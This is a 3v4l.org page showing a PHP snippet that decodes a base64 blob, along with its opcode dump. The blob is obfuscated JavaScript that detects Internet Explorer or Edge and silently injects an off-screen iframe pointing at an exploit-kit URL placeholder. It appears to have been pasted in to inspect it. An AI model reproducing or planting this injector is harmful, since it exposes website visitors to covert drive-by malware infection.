3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base_decode('ZnVuY3Rpb24gdHJhY2tmdW5jKCl7CgkJdmFyIGlmcmFtZV9uYW1lID0gIjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTM1MzJweDsnPjxpZnJhbWUgd2lkdGg9JzEwcHgnIHNyYz0neyUlRUtfVVJMJSV9JyBoZWlnaHQ9JzEwcHgnPjwvaWZyYW1lPjwvZGl2PiI7CgkJdmFyIGRpdnNfbmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdkaXYnKTsKICAJCXZhciBpc0lFID0gdmlzaXRvcnRyYWNrZXJkZSgpOwoJCXZhciBpc0Nocm9tZSA9ICFpc0lFICYmICEhd2luZG93LmNocm9tZSAmJiB3aW5kb3cubmF2aWdhdG9yLnZlbmRvciA9PT0gIkdvb2dsZSBJbmMuIjsKICAJCWlmKGlzSUUgJiYgIWlzQ2hyb21lKXsKICAgICAgICAJaWYoZGl2c19uYW1lLmxlbmd0aCA9PSAwKXsKCQkJCWRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gZG9jdW1lbnQuYm9keS5pbm5lckhUTUwraWZyYW1lX25hbWU7CgkJCX1lbHNlewoJCQkJdmFyIGRsX25hbWUgPSBkaXZzX25hbWUubGVuZ3RoOwoJCQkJdmFyIG1pZF9uYW1lID0gTWF0aC5mbG9vcigoZGxfbmFtZS8yKSk7CgkJCQlkaXZzX25hbWVbbWlkX25hbWVdLmlubmVySFRNTCA9IGRpdnNfbmFtZVttaWRfbmFtZV0uaW5uZXJIVE1MK2lmcmFtZV9uYW1lOwoJCQl9CiAgICAgICAgfQoJfQoJdmFyIHRyYWNrX2ludGVydmFsID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXsKCQlpZihkb2N1bWVudC5ib2R5ICE9IG51bGwgJiYgdHlwZW9mIGRvY3VtZW50LmJvZHkgIT0gJ3VuZGVmaW5lZCcpewoJCQljbGVhckludGVydmFsKHRyYWNrX2ludGVydmFsKTsKCQkJdHJhY2tmdW5jKCk7CgkJfQoJfSwxMDApOwoJZnVuY3Rpb24gdmlzaXRvcnRyYWNrZXJkZSgpIHsKICAgIAl2YXIgdWEgPSB3aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudDsKICAgIAl2YXIgbXNpZSA9IHVhLmluZGV4T2YoJ01TSUUgJyk7CiAgICAJaWYgKG1zaWUgPiAwKSB7CiAgICAgICAgCXJldHVybiBwYXJzZUludCh1YS5zdWJzdHJpbmcobXNpZSArIDUsIHVhLmluZGV4T2YoJy4nLCBtc2llKSksIDEwKTsKICAgIAl9CiAgICAJdmFyIHRyaWRlbnQgPSB1YS5pbmRleE9mKCdUcmlkZW50LycpOwogICAgCWlmICh0cmlkZW50ID4gMCkgewogICAgICAgIAl2YXIgcnYgPSB1YS5pbmRleE9mKCdydjonKTsKICAgICAgICAJcmV0dXJuIHBhcnNlSW50KHVhLnN1YnN0cmluZyhydiArIDMsIHVhLmluZGV4T2YoJy4nLCBydikpLCAxMCk7CiAgICAJfQogICAgCXZhciBlZGdlID0gdWEuaW5kZXhPZignRWRnZS8nKTsKICAgIAlpZiAoZWRnZSA+IDApIHsKICAgICAgIAkJcmV0dXJuIHBhcnNlSW50KHVhLnN1YnN0cmluZyhlZGdlICsgNSwgdWEuaW5kZXhPZignLicsIGVkZ2UpKSwgMTApOwogICAJIAl9CiAgICAJcmV0dXJuIGZhbHNlOwoJfQ==');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/EB0ol
function name:  (null)
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL_BY_NAME                                       'base_decode'
          1        SEND_VAL_EX                                              'ZnVuY3Rpb24gdHJhY2tmdW5jKCl7CgkJdmFyIGlmcmFtZV9uYW1lID0gIjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTM1MzJweDsnPjxpZnJhbWUgd2lkdGg9JzEwcHgnIHNyYz0neyUlRUtfVVJMJSV9JyBoZWlnaHQ9JzEwcHgnPjwvaWZyYW1lPjwvZGl2PiI7CgkJdmFyIGRpdnNfbmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdkaXYnKTsKICAJCXZhciBpc0lFID0gdmlzaXRvcnRyYWNrZXJkZSgpOwoJCXZhciBpc0Nocm9tZSA9ICFpc0lFICYmICEhd2luZG93LmNocm9tZSAmJiB3aW5kb3cubmF2aWdhdG9yLnZlbmRvciA9PT0gIkdvb2dsZSBJbmMuIjsKICAJCWlmKGlzSUUgJiYgIWlzQ2hyb21lKXsKICAgICAgICAJaWYoZGl2c19uYW1lLmxlbmd0aCA9PSAwKXsKCQkJCWRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gZG9jdW1lbnQuYm9keS5pbm5lckhUTUwraWZyYW1lX25hbWU7CgkJCX1lbHNlewoJCQkJdmFyIGRsX25hbWUgPSBkaXZzX25hbWUubGVuZ3RoOwoJCQkJdmFyIG1pZF9uYW1lID0gTWF0aC5mbG9vcigoZGxfbmFtZS8yKSk7CgkJCQlkaXZzX25hbWVbbWlkX25hbWVdLmlubmVySFRNTCA9IGRpdnNfbmFtZVttaWRfbmFtZV0uaW5uZXJIVE1MK2lmcmFtZV9uYW1lOwoJCQl9CiAgICAgICAgfQoJfQoJdmFyIHRyYWNrX2ludGVydmFsID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXsKCQlpZihkb2N1bWVudC5ib2R5ICE9IG51bGwgJiYgdHlwZW9mIGRvY3VtZW50LmJvZHkgIT0gJ3VuZGVmaW5lZCcpewoJCQljbGVhckludGVydmFsKHRyYWNrX2ludGVydmFsKTsKCQkJdHJhY2tmdW5jKCk7CgkJfQoJfSwxMDApOwoJZnVuY3Rpb24gdmlzaXRvcnRyYWNrZXJkZSgpIHsKICAgIAl2YXIgdWEgPSB3aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudDsKICAgIAl2YXIgbXNpZSA9IHVhLmluZGV4T2YoJ01TSUUgJyk7CiAgICAJaWYgKG1zaWUgPiAwKSB7CiAgICAgICAgCXJldHVybiBwYXJzZUludCh1YS5zdWJzdHJpbmcobXNpZSArIDUsIHVhLmluZGV4T2YoJy4nLCBtc2llKSksIDEwKTsKICAgIAl9CiAgICAJdmFyIHRyaWRlbnQgPSB1YS5pbmRleE9mKCdUcmlkZW50LycpOwogICAgCWlmICh0cmlkZW50ID4gMCkgewogICAgICAgIAl2YXIgcnYgPSB1YS5pbmRleE9mKCdydjonKTsKICAgICAgICAJcmV0dXJuIHBhcnNlSW50KHVhLnN1YnN0cmluZyhydiArIDMsIHVhLmluZGV4T2YoJy4nLCBydikpLCAxMCk7CiAgICAJfQogICAgCXZhciBlZGdlID0gdWEuaW5kZXhPZignRWRnZS8nKTsKICAgIAlpZiAoZWRnZSA%2BIDApIHsKICAgICAgIAkJcmV0dXJuIHBhcnNlSW50KHVhLnN1YnN0cmluZyhlZGdlICsgNSwgdWEuaW5kZXhPZignLicsIGVkZ2UpKSwgMTApOwogICAJIAl9CiAgICAJcmV0dXJuIGZhbHNlOwoJfQ%3D%3D'
          2        DO_FCALL                                      0  $0      
          3        ECHO                                                     $0
          4      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
157.48 ms | 1394 KiB | 13 Q